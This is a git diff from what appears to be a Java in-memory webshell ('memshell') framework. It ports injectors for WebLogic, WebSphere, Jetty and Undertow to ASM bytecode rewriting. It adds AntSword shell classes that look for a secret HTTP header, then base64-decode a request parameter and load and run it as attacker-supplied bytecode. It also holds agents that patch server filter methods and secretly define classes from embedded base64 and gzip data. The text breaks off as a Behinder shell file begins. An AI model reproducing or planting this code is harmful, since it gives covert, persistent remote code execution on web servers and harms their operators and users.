e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java index 7f8856cb..68f22e74 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java @@ -1,39 +1,31 @@ package com.reajason.javaweb.memshell.injector.websphere; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; +import java.net.URL; +import java.net.URLClassLoader; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer { +public class WebSphereFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager"; + private static final String TARGET_METHOD_NAME = "doFilter"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,20 +36,191 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager")) - .transform(new WebSphereFilterChainAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); + inst.addTransformer(new WebSphereFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java deleted file mode 100644 index e21255c0..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.websphere; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public WebSphereFilterChainAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java new file mode 100644 index 00000000..992ea92e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java @@ -0,0 +1,116 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class AntSword extends ClassLoader { + + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSword() { + } + + public AntSword(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrapRequest(args[0]); + Object response = unwrapResponse(args[1]); + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] bytes = base64Decode(parameter); + Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + public Object unwrapRequest(Object request) { + Object internalRequest = request; + while (true) { + try { + Object r = getFieldValue(request, "request"); + if (r == internalRequest) { + return r; + } else { + internalRequest = r; + } + } catch (Exception e) { + return internalRequest; + } + } + } + + public Object unwrapResponse(Object response) { + Object internalResponse = response; + while (true) { + try { + Object r = getFieldValue(response, "response"); + if (r == internalResponse) { + return r; + } else { + internalResponse = r; + } + } catch (Exception e) { + return internalResponse; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java index 382c1a08..0c8cbcd1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java @@ -35,7 +35,7 @@ public class AntSwordFilter extends ClassLoader implements Filter { try { if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance(); + Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); } else { filterChain.doFilter(servletRequest, servletResponse); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java deleted file mode 100644 index d1f863d3..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.antsword; - -import net.bytebuddy.asm.Advice; - -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class AntSwordFilterChainAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null && value.contains(headerValue)) { - byte[] data = null; - Class base64; - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - Object instance = payload.newInstance(); - instance.equals(new Object[]{request, response}); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java new file mode 100644 index 00000000..88ebadf7 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java @@ -0,0 +1,82 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +/** + * @author ReaJason + */ +public class AntSwordJettyHandler extends ClassLoader { + + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordJettyHandler() { + } + + public AntSwordJettyHandler(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] bytes = base64Decode(parameter); + Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java index 5b584aeb..9f5c32dc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java @@ -58,7 +58,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe && request.getHeader(headerName).contains(headerValue)) { HttpServletResponse response = getResponseFromRequest(request); byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); } } catch (Exception ignored) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java index a0c20a84..f7c45b48 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java @@ -23,7 +23,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance(); + Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); } } catch (Exception ignored) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java new file mode 100644 index 00000000..01d2f29f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +/** + * @author ReaJason + */ +public class AntSwordUndertowServletHandler extends ClassLoader { + + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordUndertowServletHandler() { + } + + public AntSwordUndertowServletHandler(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + try { + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] bytes = base64Decode(parameter); + Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java index 74f121b5..25266dcd 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java @@ -75,7 +75,7 @@ public class AntSwordValve extends ClassLoader implements Valve { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); return; } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/jetty/AntSwordHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/jetty/AntSwordHandlerAdvisor.java deleted file mode 100644 index b64c3bb0..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/jetty/AntSwordHandlerAdvisor.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.antsword.jetty; - -import net.bytebuddy.asm.Advice; - -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class AntSwordHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 1) Object baseRequest, - @Advice.Argument(value = 2) Object request, - @Advice.Argument(value = 3) Object response - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - byte[] data = null; - Class base64; - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - Object instance = payload.newInstance(); - instance.equals(new Object[]{request, response}); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/undertow/AntSwordServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/undertow/AntSwordServletInitialHandlerAdvisor.java deleted file mode 100644 index 36387bdb..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/undertow/AntSwordServletInitialHandlerAdvisor.java +++ /dev/null @@ -1,55 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.antsword.undertow; - -import net.bytebuddy.asm.Advice; - -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class AntSwordServletInitialHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.AllArguments Object[] args - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Object servletRequestContext = null; - if (args.length == 2) { - servletRequestContext = args[1]; - } else { - servletRequestContext = args[2]; - } - Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); - Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - byte[] data = null; - Class base64; - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - Object instance = payload.newInstance(); - instance.equals(new Object[]{request, response}); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java new file mode 100644 index 00000000..4c1ada0c --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java @@ -0,0 +1,164 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import java.io.BufferedReader; 